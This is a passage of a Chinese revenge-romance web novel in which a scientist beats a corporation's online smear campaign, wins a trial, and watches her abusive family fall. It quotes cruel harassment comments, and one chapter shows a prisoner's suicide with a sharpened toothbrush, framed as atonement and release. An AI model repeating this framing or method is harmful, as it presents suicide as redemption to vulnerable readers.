顾彦廷看着手里的报告,又看了看江晚絮,笑着说,“真好,我的晚晚没有变成怪物。”
三人对视一眼,都笑了。
是啊,又不是科幻片,哪有那么神奇的东西存在?
所谓的基因优化,根本就只是一种强行突破大脑开发的手段而已。
但即便如此,江晚絮也没有后悔。
况且……5%的大脑开发于她而言,足够对付自己的敌人了。
江晚絮的“复仇计划”很快就开始了。
“顾总!不好了!”
林舟抱着笔记本电脑冲进来的时候,差点被绊个狗吃屎。
顾彦廷正端着一碗刚熬好的燕窝,小心翼翼地吹凉,准备喂给江晚絮。
被打断后,他眉头瞬间拧成了死结。
“你最好有天塌下来的大事。”顾彦廷冷冷地扫了林舟一眼,“不然我就把你从这顶楼扔下去。”
林舟咽了口唾沫,把电脑屏幕转向两人,“涅墨西斯动手了。”
屏幕上,是一片触目惊心的绿。
顾氏集团、晚星科技,甚至连几个跟顾家有深度合作的上市公司,股价在开盘半小时内全线闪崩。
“不仅仅是股价。”林舟擦着冷汗,语速飞快,“五分钟前,全网各大社交平台突然爆发式出现了关于夫人的黑料。而且……”他小心翼翼地看了一眼靠在床头的江晚絮,“而且热搜词条非常……难听。”
江晚絮神色平静地伸出手,“给我看看。”
“晚晚,别看。”顾彦廷下意识地想要拦住。
“给我。”江晚絮很坚持。
顾彦廷僵持了两秒,还是把平板递了过去。
#江晚絮基因怪物#
#顾氏集团总裁夫人疑为非法实验体#
#那个名为江晚絮的生化武器#
点开评论区,更是恶臭熏天。
【太可怕了,听说她把自己改造成了怪物!】
【怪不得
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江家不要她,这种怪物谁敢要啊?谁知道她会不会突然发狂咬人?】
【听说她连自己的亲妈和外婆都克**,现在又来祸害顾总,真是个扫把星。】
【抵制怪物!把她抓起来切片研究!】
【这种人活着就是对人类基因库的污染,建议人道毁灭。】
“呵。”
江晚絮看着看着,突然轻笑了一声。
“这就是他们想出来的招数?”她指尖滑动着屏幕,语气里听不出喜怒,“制造恐慌,利用**逼死我?就像当年江明泽在学术圈**我一样,说我是‘学术妲己’,说我抄袭江芊妤,甚至不需要证据,只需要一张嘴,就能把我**。”
那时候,她拿着厚厚一叠实验数据,跪在江父的书房门口,求他看一眼,求他相信自己没有抄袭。
可江父是怎么做的?
他说:“晚絮,你妹妹身体不好,你是姐姐,你就不能让她一次吗?非要争个输赢,你怎么这么不懂事?”
不懂事。
这三个字,像紧箍咒一样困了她十多年。
“晚晚。”顾彦廷握住她冰凉的手,眼底满是心疼,“别怕。我马上让人撤热搜,把这些造谣的营销号全封了。谁敢再说一个字,我让他这辈子都开不了口。”
“没用的。”
江晚絮摇摇头。
“涅墨西斯既然动手了,就不会只买水军这么简单。”江晚絮闭上眼,大脑飞速运转。
“M姨。”江晚絮突然开口。
一直站在窗边沉默不语的M姨转过身看向她。
江晚絮睁开眼,“他们想坐实我是‘怪物’的罪名,然后以‘**罪’的名义,名正言顺地接管我,或者……销毁我。”
“顾总!”林舟惊呼,“公司的防火墙正在被攻击,对方是国家级的黑客团队!我们的技术部顶不住了!”
顾彦廷眼神一凛,刚要下令。
“不用管。”江晚絮淡淡地说。
“什么?”林舟愣住了,“夫人,那是公司的核心机密啊!”
“让他们拿。”江晚絮嘴角勾起一抹讥讽的弧度,“他们想要什么,我们就给什么。不仅仅是这些,顾彦廷,我要你做一件事。”
顾彦廷看着她:“你说。”
“我要你,把我的基因图谱,公开。”
第219章 如果当初……
M姨听到江晚絮的话,露出了震惊的神色:“丫头,你疯了?基因图谱一旦公开,你就真的没有隐私了。”
“隐私?”江晚絮自嘲地笑了笑,眼眶微红,“我这辈子,什么时候有过隐私?在江家,他们在我房间装了三个摄像头,连我换衣服都要被她指指点点。后来嫁给叶寒,我的手机、电脑全被监控,我甚至连去楼下买包卫生巾都要报备。”
“既然他们想看,那就让他们看个够。”
江晚絮走到窗前,看着楼下耀眼的城市。
“他们既然说我是怪物,那我就让他们看看,到底谁才是真正的怪物。”
“林舟,去准备直播设备。”
“啊?”林舟傻了,“现在?”
“对,就是现在。”江晚絮转身,看着顾彦廷,“我要成立‘伦理科技联盟’。我要把‘晨曦计划’的部分数据,无偿捐赠给国际人类基因组计划。”
顾彦廷看着她,沉默半晌。
“好。”顾彦廷走过去,从背后抱住她,在她耳边低语,“你想怎么做,我都陪你。”
“还有。”他眼神一冷,对林舟吩咐,“通知财务部,调集所有流动资金。既然涅墨西斯想玩商战,那老子就教教他们,什么叫‘有钱能使鬼推磨’。”
“他们做空多少,我就买进多少。”
“另外,给我查查涅墨西斯旗下所有的子公司,尤其是有财务漏洞的。”顾彦廷舔了舔后槽牙,露出一个嗜血的笑,“天凉了,该让涅墨西斯破产几个子公司助助兴了。”
直播间开启的一瞬间,服务器差点瘫痪。
在线人数瞬间突破千万。
弹幕密密麻麻,全是谩骂和诅咒。
【怪物滚粗!】
【基因改造脸!】
镜头前,江晚絮穿着一身简单的白色病号服,脸上未施粉黛,苍白,却有着一种惊心动魄的美。
她静静地坐在那里,手里拿着一份厚厚的文件。
“大家好,我是江晚絮。”
“我知道你们都在好奇,我是不是长了三头六臂,是不是会变身。”江晚絮对着镜头笑了笑,“很抱歉,让大家失望了。我还是两只眼睛一张嘴,连指甲盖都没多长一个。”
她扬了扬手中的文件。
“这是我所有的基因测序报告,以及‘晨曦计划’的部分核心算法。今天,我将它们全网公开,并且无偿捐赠给国际人类基因组计划。”
全网哗然。
弹幕出现了短暂的停滞。
【什么意思?捐了?那可是价值连城的黑科技啊!】
【这不会是假的吧?】
“所谓的‘基因优化’,”江晚絮继续说道,“只不过是通过特定的生物电刺激,激活了大脑皮层中沉睡的神经元。它能让我的记忆力稍微好一点,反应稍微快一点。仅此而已。”
“它不能让我飞天遁地,也不能让我长生不老。”
“如果它真的有那么神奇……如果它真的能让人变成超人……”
说到这里,她的声音哽咽了一下。
“那我宁愿用这所有的超能力,换回我外婆和妈妈的一条命。”
屏幕前的观众愣住了。
关于江晚絮外婆被逼死的新闻,虽然被压下去了,但很多人还是有所耳闻。
“我是一个科研人员。”江晚絮抬起头,目光坚定,“我的研究,是为了治愈,是为了造福人类,而不是为了制造什么超级战士。”
“涅墨西斯集团,为了抢夺这项技术,**我的家人,杀害我的至亲,甚至不惜发动全网暴力来抹黑我。”
“他们怕我。”
江晚絮直视镜头,仿佛透过屏幕,在看着那群躲在阴暗角落里的人。
“因为我知道他们的秘密。我知道他们打着‘人类进化’的幌子,在进行怎样惨无人道的活体实验。”
“所以,我宣布,成立‘伦理科技联盟’。”江晚絮掷地有声,“我邀请全球所有的科技企业加入,共同抵制涅墨西斯这种**的科技霸权。任何加**盟的企业,都可以免费获得晚星科技的专利授权。”
这一招,叫釜底抽薪。
就在江晚絮直播的同时,顾氏集团的顶层办公室里,简直像个战场。
“顾
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总,那些抛售的股票,我们全接了!”
“顾总,涅墨西斯的子公司‘泰坦生物’股价暴跌,我们已经收购了他们30%的股份!”
顾彦廷坐在老板椅上,神情淡漠。
“继续,告诉那些还在观望的股东,谁敢在这个时候抛售顾氏的股票,以后就别想在京圈混了。”
“还有,联系那几个一直在跟涅墨西斯竞争的国际财团。”顾彦廷冷笑一声,“敌人的敌人就是朋友。告诉他们,顾氏愿意出让部分利益,只要他们肯一起下场,咬死涅墨西斯。”
“可是顾总……”林舟看着账面上疯狂流失的资金,心都在滴血,“这样烧钱,我们的流动资金撑不过三天啊!这简直是在拿顾家的百年基业豪赌!”
“那又怎样?”
顾彦廷冷哼一声。
“钱没了可以再赚,公司没了可以再开。”
“但如果连自己的女人都护不住,我还要钱有什么用?”
他想起了那天在手术台上,江晚絮浑身是血咬着他的手臂,在极度的痛苦中还在喊着“复仇”。
那一刻他就发誓,哪怕是把天捅个窟窿,他也要陪她走到底。
顾彦廷一巴掌拍在桌子上,“把我在海外的那几个私人矿场也抵押了!!”
随着江晚絮公开数据,加上无数专家站出来证实这份数据的科学性和安全性,“怪物论”不攻自破。
反而是涅墨西斯集团,因为恶意做空和网络暴力,遭到了全球范围内的抵制。
加上顾彦廷疯狗一般的商业围剿,涅墨西斯集团的股价开始跳水。
一天之内,市值蒸发了上千亿。
此时,江明泽看着电视里的新闻,手中的遥控器滑落在地。
“怎么可能……”他喃喃自语,脸色惨白,“她怎么敢公开?那是几十万亿的市场啊……她就这么捐了?”
如果是他,他绝对会把这项技术攥在手里,待价而沽。
如果当初他对江晚絮好一点点……哪怕只是一点点……
现在的江家,早就飞黄腾达了。
可惜,没有如果。
第220章 受害者
随着江晚絮发出的抵制邀请,涅墨西斯急了。
**翻车,股价腰斩,再加上顾彦廷这只疯狗死咬着不放,他们终于坐不住了。
一封烫金的邀请函,送到了顾彦廷的办公桌上。
“哟,求和啊?”
顾彦廷两根手指夹起那张邀请函。
“涅墨西斯的大中华区总裁,想约您和夫人今晚在兰亭会所一叙。”林舟在一旁说道,语气里带着几分扬眉吐气,“说是愿意赔偿我们的损失,并且公开道歉,只要我们肯撤诉,并且解散那个什么‘伦理科技联盟’。”
“晚晚,你怎么看?”顾彦廷转头看向坐在一旁看书的江晚絮。
江晚絮头都没抬,翻了一页书:“不去。”
“他们愿意赔偿一百个亿。”林舟补充道。
“一百个亿?”江晚絮终于抬起头,那双眼睛清澈得可怕,“一百个亿能买回我外婆的命吗?能买回我妈被折磨至死的悲剧吗?能买回我在江家受尽**的那些年吗?”
她合上书,站起身,走到落地窗前。
“告诉他们,我不接受私下谈判。”
“我要告他们,告到他们破产。”
“可是夫人……”林舟有些为难,“涅墨西斯的法务团队号称‘必胜客’,而且他们背后的势力盘根错节,真要上法庭,我们要拿出铁证才行。光凭目前的**,很难定他们的罪。”
“证据?”
这时候,办公室的门被推开了。
M姨推着轮椅走了进来,轮椅上坐着的,竟然是刚刚做完第二次手术,虽然还不能动但精神尚可的江明哲。
“证据,我们有。”江明哲声音虚弱,但眼神里闪烁着前所未有的光芒。
“三哥?”江晚絮有些惊讶。
“这是你三哥去找屠夫时录的音。”M姨拿出一个U盘,放在桌子上,“但这还不够。真正的王炸,在这里。”
M姨指了指自己的脑袋。
“涅墨西斯一直以为,‘牧羊人’只是他们的一条狗。但他们不知道,狗急了也是会跳墙的。”
“昨晚,牧羊人的首领联系了我。”M姨露出一抹意味深长的笑,“涅墨西斯为了自保,打算把所有的黑锅都甩给牧羊人,说那些非法实验都是牧羊人背着集团做的。牧羊人不想当替罪羊,所以……他们反水了。”
“这里面,是涅墨西斯这三十年来,所有非法活体实验的原始记录。还有当年你外婆带着岳母逃回国内之前,被涅墨西斯囚禁毒打的视频。也包括……**嵩受他们指使给方颖下毒的记录。”
提到母亲的名字,江晚絮的身体猛地颤抖了一下。
“这种证据,一旦在法庭上公布,涅墨西斯就完了。”江明哲看着屏幕,眼角也滑下一滴泪,“这就是他们一直想要销毁的东西。”
“好。”顾彦廷关掉视频,眼底杀意翻涌,“那就去告。”
“林舟,去联系全球最好的律师团队。这一仗,我要全网直播。”
“我要让全世界都看到,这群衣冠楚楚的财阀,皮囊下面究竟是怎样肮脏的灵魂。”
顾彦廷的动作很快。
再加上这件事社会影响极大,**那边很快就给了答复。
开庭日定在了一周后。
这一周,对于江晚絮来说,漫长得像是一个世纪。
她每天都在整理证据,模拟庭审。
顾彦廷寸步不离地守着她,给她端茶倒水,喂饭按摩。
“顾彦廷,你不用这样的。”江晚絮看着眼前这个为了自己忙前忙后的男人,心里有些酸涩,“这种伺候人的活儿……”
“伺候老婆,天经地义。”顾彦廷给她捏着肩膀,力道适中,“再说了,等你打赢了官司,成了全球科技圈的女王,那时候我想伺候还得排队呢。”
江晚絮被他逗笑了。
“顾彦廷。”
“嗯?”
“谢谢你。”
谢谢你,在我最绝望的时候拉住了我。
谢谢你,没有把我当成怪物,而是一直支持我走下去。
“傻瓜。”顾彦廷在她额头上落下一吻,“我们之间,不需要说谢谢。你的仇,就是我的仇。你想**,我给你递刀。”
开庭当日。
京市最高**门口,被围得水泄不通。
不仅是国内的媒体,连国外的几大新闻社都派了专人过来。
这场官司,被誉为“世纪审判”。
江晚絮一身黑色西装,长发挽起,干练而肃穆。
她推着江明哲的轮椅,在顾彦廷的陪同下,一步步走到了**门口。
有人喊:“江小姐,你有信心吗?”
江晚絮停下脚步,回头,对着镜头露出一个极淡的笑。
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“正义也许会迟到,但绝不会缺席。”
法庭内,气氛凝重。
涅墨西斯派出的律师团阵容豪华,号称从未败诉。
被告席上,涅墨西斯大中华区总裁李森,一脸傲慢地靠在椅子上。
“肃静!”法官敲响法槌。
庭审开始。
涅墨西斯的律师一上来就咄咄逼人:“原告指控我方进行非法活体实验,简直是无稽之谈!请问证据呢?那些所谓的基因数据,难道不是江晚絮小姐为了博眼球自己伪造的吗?毕竟,大家都知道,江小姐在学术界的名声……并不太好。”
他又在拿当年的抄袭说事。
旁听席上,坐着江家人。
江明泽低着头,不敢看江晚絮。
叶寒坐在角落里,看着那个站在原告席上闪闪发光的女人,心里五味杂陈。
那个曾经只会围着他转,给他洗衣做饭的江晚絮,真的不见了。现在的她,让他觉得陌生,又让他……疯狂地想要占有。
“反对!”顾氏的律师站起来,“被告律师在进行人身攻击。”
“反对无效。”法官面无表情。
江晚絮并不慌张。
她站起身,平静地看着对方律师。
“你要证据是吗?”
江晚絮按下了手中的遥控器。
法庭的大屏幕上,开始播放牧羊人提供的视频。
陈曦凄厉的惨叫声,在空气中回荡。
那些残忍的画面,哪怕是见惯了罪恶的法官,都忍不住皱起了眉头。
“这……这是伪造的!这是AI合成的!”涅墨西斯律师慌了,大声喊道。
“是不是伪造的,技术部门一验便知。”江晚絮冷冷地说,“除了视频,我还提交了当年参与实验的人员名单,以及资金往来记录。其中包括……**嵩收受涅墨西斯五千万‘**’的转账记录。”
全场哗然。
卖妻求荣!这简直是畜生不如!
“另外,”江晚絮的声音提高了几分,“关于所谓的‘基因怪物’。”
她拿出一份新的报告。
“这是国际人类基因组计划刚刚发回的鉴定报告。证实我的基因序列中,确实存在人工干预的痕迹,但这种干预,本质上是一种极端的免疫激活疗法。”
“换句话说,我是受害者,是幸存者,而不是什么怪物!”
第221章 都是报应
“被告涅墨西斯集团,为了掩盖罪行,不惜对我进行长达数年的污名化,甚至试图**灭口。”
江晚絮转过身,指着被告席上的李森。
“李总,你还有什么话好说?”
李森脸上的傲慢终于消失了。
他瘫软在椅子上,冷汗直流。
他根本就没想到,江晚絮和顾彦廷有能力搞到这些东西。
牧羊人的背刺,更是他万万没想到的。
“审判长,我……”李森哆哆嗦嗦地开口,“我只是执行者,这一切都是总部的命令!我是被逼的!”
“是不是被逼的,去监狱里跟法官说吧。”顾彦廷在旁听席上冷笑一声。
最终**做出了判决。
涅墨西斯集团大中华区涉嫌**罪、故意**罪、非法拘禁罪等多项罪名成立。
李森被判处无期徒刑,涅墨西斯面临天价罚款,并被勒令停止所有国内的相关业务。
至于欧洲总部……因为涉及国际问题,京市**并没有能力直接对其作出裁决。
法槌落下的那一刻。
江晚絮觉得身体里有什么东西,终于卸下来了。
她转过身,看向旁听席。
江明泽早就趁乱溜走了,像过街老鼠一样。
只有顾彦廷,站在那里,张开双臂,微笑着看着她。
“晚晚,回家了。”
江晚絮鼻子一酸,飞奔过去,扑进那个温暖的怀抱。
“顾彦廷,我做到了。”
“我知道。”顾彦廷紧紧地抱着她,在她发顶落下一吻,“你是最棒的。”
江晚絮和顾彦廷走出大门,无数记者蜂拥而上。
那个曾经视她如草芥的叶寒,远远地看着她,红了眼眶,似乎想冲过来,却被顾彦廷的一个眼神吓退。
“在看什么?”江晚絮问。
“没什么。”顾彦廷握紧了她的手,十指相扣,“看垃圾而已。”
江晚絮轻笑,然后抬起头,看着头顶湛蓝的天空。
“顾彦廷,我想吃火锅。”
“好,依你。”
“我想吃变态辣。”
“……不行,你都怀孕六个月了。最多……吃一口。”
两人相视一笑,背影在阳光下拉得很长。
这一夜,过得很平静。
隔天,顾彦廷要去公司,江晚絮跟着一起来了。
“去国际法庭?你在开玩笑吗顾总?”
会议室里,林舟看着顾彦廷在电子地图上圈出来的几个红点,下巴都要惊掉了。
欧洲可是涅墨西斯的大本营。
顾彦廷不以为意。
“你看我像是在开玩笑吗?”
他转头看向坐在旁边正在喝药的江晚絮。
药很苦,江晚絮喝得眉头紧蹙,却一声没吭。
顾彦廷从口袋里掏出一颗大白兔奶糖,剥开糖纸喂到她嘴边:“甜一下。”
江晚絮含住糖,嘴里的苦涩散去了大半,她看向林舟。
“林特助,涅墨西斯在欧洲也不是铁板一块。他们这些年为了扩张,吞并了不少老牌家族的企业,那些家族我都让人打听过,对涅墨西斯早就恨得牙痒痒了。”
“敌人的敌人,就是朋友。”
“我整理了一份名单,是这十年来被涅墨西斯搞得家破人亡的受害者。其中有一个,是老牌贵族罗斯柴尔德家族的一个分支继承人。”
林舟翻开名单,看到上面的名字,直接倒吸一口凉气。
这哪里是名单,这件事就是一本《复仇者联盟》花名册!
“联系他们。”顾彦廷手指轻轻敲击着桌面,“只要他们肯提供涅墨西斯在欧洲本土的所有非法实验数据,事成之后,涅墨西斯的市场份额,顾氏分文不取,全归他们。”
“全……全给吗?”林舟觉得肉疼,“顾总……那很有可能是几千亿甚至上万亿啊!”
顾彦廷闻言冷笑一声,“这种带血的钱,我不稀罕。”
他要的,从来都不是钱。
接下来的一个月,国际金融圈就发生了一场史无前例的大地震。
顾氏集团带着所有的资金流,疯狂冲击着涅墨西斯的海外防线。
与此同时,那个**晚絮拉起来的“受害者联盟”,也出现在了国际法庭上。
数千份绝密文件被公开。
包括但不限于:贿赂欧盟高官、在贫民窟进行非法药物测试、制造生化病毒恐慌以推销疫苗……
每一条罪状,都足以让涅墨西斯死一百次。
当国际刑警冲进涅墨西斯总部大楼,把那个曾经不可一世的CEO
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带走时,全球直播的画面传回了国内。
江晚絮看着屏幕里那个被戴上**、狼狈不堪的老头。
“爽吗?”顾彦廷从身后抱住她,大手轻轻覆盖在她隆起的小腹上。
“爽。”江晚絮眼眶微红,嘴角却勾起一抹释然的笑。
“牧羊人那边也处理了。”顾彦廷下巴抵在她的颈窝,“那个首领被挑断了手脚筋,终身监禁在家族禁地的水牢里。听说那地方,老鼠比人还多。”
“至于你,”顾彦廷的声音变得温柔起来,“江总,恭喜上任。”
就在昨天,刚刚成立的“伦理科技联盟”,全票推举江晚絮为首任联盟主席。
不仅如此,原本神秘莫测的晨曦家族——那个一直在暗中对抗涅墨西斯的古老守护者,也正式向江晚絮发出了邀请函,聘请她为终身外部顾问。
“顾彦廷。”
“嗯?”
“我以前总觉得自己是烂泥里的草,谁都能踩一脚。”江晚絮转过身,捧着顾彦廷的脸,“是你把我捧成了天上的星。”
顾彦廷低头,吻住她的唇。
“你本来就是星。我只是那个哪怕把脖子仰断了,也要看着你的傻子。”
京市某看守所。
江明宇缩在墙角,看着新闻里那个光芒万丈的妹妹,狠狠地把手中的塑料饭碗砸在了地上。
“骗子!都是骗子!”
他疯狂地嘶吼着,咒骂着。
“她怎么可能是主席?她就是个扫把星!是她害得江家家破人亡!”
狱警不耐烦地走过来,一棍子敲在铁栏杆上:“吵什么吵!再吵把你关禁闭!”
江明宇瑟缩了一下。
他曾经是江家最嚣张的二少爷,想打谁就打谁。
江晚絮稍不如他的意,就是一顿拳打脚踢。
可现在,随便一个狱警都能像训狗一样训他。
他看着自己粗糙不堪的爽手,突然想起多年前,江晚絮这双手也是这样,全是冻疮和伤痕,却还要在冰冷的水里给他洗球鞋。
那时候他在干什么?
他在旁边打游戏,还嫌她洗得不够干净,一脚踢翻了水盆。
“报应……”
江明宇抱住头,眼泪鼻涕糊了一脸。
“这都是报应啊!”
第222章 地狱空荡荡,恶魔在人家
三个月后。
京市最好的私立医院,整个顶层都被顾彦廷包了下来。
“怎么还没出来?都进去两个小时了!”
顾彦廷抓着头发在走廊里来回踱步。
“顾总,生孩子没那么快的。”林舟在一旁劝道
顾彦廷脸色惨白,“能不能不生了?能不能塞回去?”
林舟:“……”
您是真敢想。
就在这时,产房的门开了。
顾彦廷一个箭步冲上去,差点把护士撞飞。
“恭喜顾总,是位千金!母女平安!”
顾彦廷腿一软,直接跪在了地上。
不是为了感谢上苍,是真的吓软了。
他想冲进病房,却被秦兰给挡住。
“你急什么?”
秦兰擦了擦眼角的泪,吸了吸鼻子,劝道,“让医生安排好。”
顾彦廷深呼了好几口气才压下直接闯进去的冲动。
护士很快就推着江晚絮出来了。
顾彦廷看着她满头大汗,脸色苍白的样子,心疼不已。
回到VIP特护病房,顾彦廷看也没看孩子,直接扑在江晚絮的床边,小心翼翼地握着她地双手,眼眶泛红。
“顾彦廷,你哭什么?”江晚絮虚弱地笑了笑,伸手去擦他脸上的泪。
“我怕。”顾彦廷握住她的手,放在唇边亲吻,“晚晚,我真的怕。刚才那一瞬间,我以为我要失去你了。”
“傻瓜。”江晚絮看着旁边摇篮里那个粉雕玉琢的小团子,“看看女儿。”
小家伙闭着眼睛,睫毛长长的,像两把小扇子。
最神奇的是,经过基因检测,她完美继承了江晚絮经过优化后的基因片段。
也就是说,这孩子天生就是个天才。
但这一刻,没人关心她是不是天才。
顾彦廷只关心她是不是健康。
“她真丑。”顾彦廷嫌弃地看了一眼,“像个猴子。”
江晚絮气笑了:“你说谁像猴子?”
“像我,像我行了吧。”顾彦廷立马认怂。
江晚絮生产的消息,很快传了出去。
M姨带着一束百合花来了。
跟着她一起来的,还有一个坐着轮椅的男人。
江明哲。
经过M姨安排的顶尖医疗团队的三次手术,他的脊髓神经修复率达到了惊人的65%。
虽然还不能像正常人一样奔跑,但借助外骨骼支架,他已经可以勉强站立行走了。
“三哥。”江晚絮看着他,露出一个浅浅的笑。
江明哲看着摇篮里的孩子,手伸到一半,又缩了回来。
他从怀里掏出一个长命锁,纯金打造,上面镶嵌着极品羊脂玉。
“这是……给孩子的。”江明哲的声音有些沙哑,“我请了大师开光的。”
顾彦廷看向江晚絮。
江晚絮点了点头。
江明哲颤抖着手,把长命锁放在床头柜上。
“晚晚,我……我要走了。”
“去哪?”
“欧洲。”江明哲低下头,“M姨让我去那边,协助管理晨曦家族的一个慈善基金,专门负责科技伦理审查和救助基因病儿童。”
他想用他的余生,去弥补江家犯下的孽。
“挺好。”江晚絮点点头,“那边医疗条件不错,对你的腿有好处。”
“以后……我们可以视频吗?”江明哲小心翼翼地问,“一个月……一次就行。”
江晚絮沉默了两秒。
“可以。”
江明哲的声音瞬间哽咽。
“谢谢你,晚晚。”
看着江明哲被推出去的背影,江晚絮轻轻叹了口气。
“心软了?”顾彦廷捏了捏她的脸。
“不是心软。”江晚絮摇摇头,“是放过我自己。恨一个人太累了,顾彦廷,我有你了,还有了宝宝,我不想再背着那些垃圾活着了。”
“聪明。”顾彦廷亲了亲她的额头,“以后这种垃圾清理工作,老公来做。”
江明哲去了欧洲。
他和江晚絮保持着每个月一次的视频通话。
但也仅限于此。
那是江晚絮能给他的,最大的宽容。
这道裂痕,虽然被修补了,但伤疤永远都在。
只要看到那道疤,就会想起曾经的疼。
所以,保持距离,是对彼此最好的结局。
江明哲虽然走了,但江家的噩梦还在继续。
江明宇**。
死在一个雷雨交加的夜晚。
他在监狱里屡次斗殴,拒绝改造,是出了名的刺头
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。
那天晚上,他和同监室的一个**犯起了冲突,被打断了两根肋骨。
他躺在冷硬的板床上,听着外面的雷声。
以前打雷的时候,江晚絮总是很害怕,会缩在被子里发抖。
他就会故意把音响开到最大,放恐怖片的声音吓她。
看着她吓得脸色惨白,他就觉得特别解气。
“**是个混蛋啊……”
江明宇喃喃自语。
他这辈子,好像除了欺负妹妹,什么正事都没干过。
他一直以为自己恨江晚絮,恨她是扫把星,恨她克**母亲。
直到柳芸的真面目被揭开,直到知道当年母亲的死其实另有隐情,他才发现,自己这辈子的恨,就像个笑话。
他爱错了人——把柳芸当亲妈,把江芊妤当公主。
也恨错了人——把唯一真心对他的亲妹妹,踩进了泥里。
他从枕头下摸出那根磨了半个月的牙刷柄。
很尖,很利。
“晚晚……”
“二哥错了。”
“二哥这就把命还给你。”
第二天早上,狱警发现江明宇的时候,尸体已经凉了。
他就那么静静地躺在血泊里,嘴角竟然还带着一丝解脱的笑。
旁边歪歪扭扭地写着一行**:
【我这辈子,恨错人也爱错人。】
消息传到顾家别墅的时候,江晚絮正在晒太阳。
顾彦廷把那张现场照片递给她看了一眼,就迅速收了起来,怕吓到她。
“**了。”顾彦廷语气平淡,“用牙刷捅穿了颈动脉,没救回来。”
江晚絮的手顿了一下。
那个曾经无数次挥舞着皮带抽她,把她按在水里让她窒息的二哥,就这样**?
她以为自己会高兴。
可并没有。
心里只觉得空落落的,像是被挖走了一块腐肉,虽然不疼了,但那个洞还在。
“他那种人,活着也是受罪。”江晚絮给女儿穿好衣服,轻轻拍了拍,“他的恨太沉重,死亡是他唯一的解脱。”
“只是便宜他了。”顾彦廷冷哼一声,“本来还想让他多踩几年缝纫机的。”
相比于江明宇的决绝,江芊妤的下场,才叫真正的生不如死。
第223章 太便宜他了
江芊妤已经在监狱的精神病监区住了一年。
她一开始还在装疯卖傻,试图逃避法律的制裁。
她觉得自己演技精湛,肯定能骗过所有人,等风头过去了,柳芸一定会来救她,大哥一定会来救她。
可惜,她等来的不是救赎,是绝望。
那天,两个护工在走廊里闲聊。
“听说了吗?那个顾氏总裁的夫人,江晚絮,居然是晨曦家族的后代!”
“天哪,晨曦家族?那不是传说中拥有最完美基因的天才家族吗?”
“是啊!怪不得人家那么厉害,随便搞个研究都能拿国际大奖。听说她的智商比爱因斯坦还高呢!”
“那个江芊妤还天天嚷嚷着说江晚絮抄袭她,真是笑**了。”
“就是,也不撒泡尿照照镜子。一个是天上的凤凰,一个是地里的野鸡,这能比吗?”
门内的江芊妤,整个人都僵住了。
晨曦家族?
天才后代?
怎么可能?!
江晚絮那个**,明明就是个连大学学费都交不起的穷鬼!明明就是个任她欺凌的软柿子!
“骗人!你们都在骗人!”
江芊妤冲到门口,疯狂地拍打着铁门。
“她是怪物!她是扫把星!我才是江家的大小姐!我才是最好的!”
“她是天才?那我算什么?我这么多年难道这一切在别人眼里,都只是个笑话吗?”
她一直以为自己是在和江晚絮争。
争宠爱,争地位,争男人。
现在才发现,人家根本就不在一个赛道上。
“哈哈哈哈……”
江芊妤突然狂笑起来。
笑着笑着,眼泪就流了下来。
“我抢了一辈子……原来人家根本就不稀罕……”
“我是个笑话……我彻头彻尾就是个笑话!”
那一天,江芊妤彻底疯了。
不是装的。
是真的疯了。
她整日整夜地对着墙壁磕头,嘴里念叨着:“别杀我……别杀我……我是公主……我是最好的……”
医生诊断为重度精神**症,且伴有严重的自残倾向。
这辈子,她都别想走出这扇铁门了。
而在隔壁牢房,她的亲生母亲柳芸,也早在一个月前就**晚絮的老同学程宇给抓了回来。
她带着江家仅剩的财产在外流浪了一年,却被人骗光了所有的钱,后来又中了风。
得知女儿疯了的事情后,就整日瘫痪在床,口歪眼斜,连话都说不出来。
母女俩,一个疯,一个瘫。
住在隔壁,却咫尺天涯。
这就是她们费尽心机抢来的人生。
京市的夏夜,非但没有一丝凉意,甚至还有些窒息。
城中村的一条破旧街道上,充满了油烟味和叫卖声。
一个穿着破旧衬衫的男人,正推着一辆三轮车,在寒风中艰难地叫卖着:“烤冷面……五块钱一份……”
男人戴着一副断了一条腿的眼镜,脸上满是油污。
谁能认出来,这就是曾经那个高高在上、自诩为“学术界新星”的江家大少爷,江明泽?
江家破产后,他因为做假账被吊销了会计证,没有任何公司敢录用他。
那个最听话的三弟据说跟着江晚絮飞黄腾达,连个电话都不给他打。
他成了真正的孤家寡人。
为了生存,他只能在这个他曾经连看都不会看一眼的贫民窟里,摆摊卖烤冷面。
“老板,来份烤冷面,加肠加蛋!”
“好嘞……”
江明泽刚要动手,突然听到一阵轰鸣声。
一列黑色的劳斯莱斯车队,缓缓驶过这条破旧的街道。
顾彦廷的车。
车窗缓缓降下一半。
江明泽下意识地低下头,用脏兮兮的袖子挡住自己的脸,生怕被认出来。
他现在的样子,太丢人了。
车内,江晚絮透过车窗,看着那个熟悉的身影。
曾经的他,多么意气风发啊。
“停车。”江晚絮淡淡地说。
车队停了下来。
林舟拿着一张银行卡,走到了摊位前。
“江先生。”林舟把卡放在油腻腻的案板上,“这是夫人给您的。里面的钱,足够您在老家开个小店,安稳过完下半生。”
周围的摊贩和路人都投来了羡慕的目光。
这一张卡,估计有好几十万吧?
江明泽看着那张卡,浑身颤抖。
他江明泽就算再落魄,也是名牌大学毕业的高材生,也是曾经的江家大少爷!
居然要靠那个曾经被他踩在脚底
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下的妹妹施舍?
“拿走!”
江明泽猛地抓起那张卡,“咔嚓”一声,当众折断。
“告诉她!我就是饿死也不要她的臭钱!”
他把断卡狠狠地摔在地上,双眼通红,像是要把所有的尊严都吼出来。
“我不需要她可怜!滚!都给我滚!”
林舟面无表情地看着他,像是在看一个小丑。
“江先生,这是您最后的机会。”
“滚啊!!”江明泽歇斯底里地吼道,甚至抄起一把铲子要赶人。
林舟摇摇头,转身回到了车上。
“夫人,他拒绝了。”
“嗯。”江晚絮并不意外。
江明泽的傲慢,是刻在骨子里的。
即使跌落尘埃,他也放不下那所谓的架子。
“那就走吧。”江晚絮升起车窗,“路是他自己选的。”
车队缓缓驶离。
江明泽看着远去的车灯,像是被抽干了所有的力气,瘫坐在地上。
他突然捂着脸,嚎啕大哭。
他后悔了。
真的后悔了。
如果当年,他对这个妹妹哪怕有一丁点的善意……
如果当年,他没有那么偏心江芊妤……
现在的他,是不是也能坐在那辆豪车里,享受着荣华富贵?
除了江家人,还有一个“旧人”未曾退场。
叶寒。
自从那天在法庭上见过一面后,叶寒就像个幽灵一样,总是出现在江晚絮出现的场合附近。
但他不敢靠近。
因为顾彦廷的保镖会像丢垃圾一样把他丢出去。
但他并没有放弃。
他对江晚絮的感情,已经从后悔,变成了一种病态的执念。
他在家里贴满了江晚絮的照片。
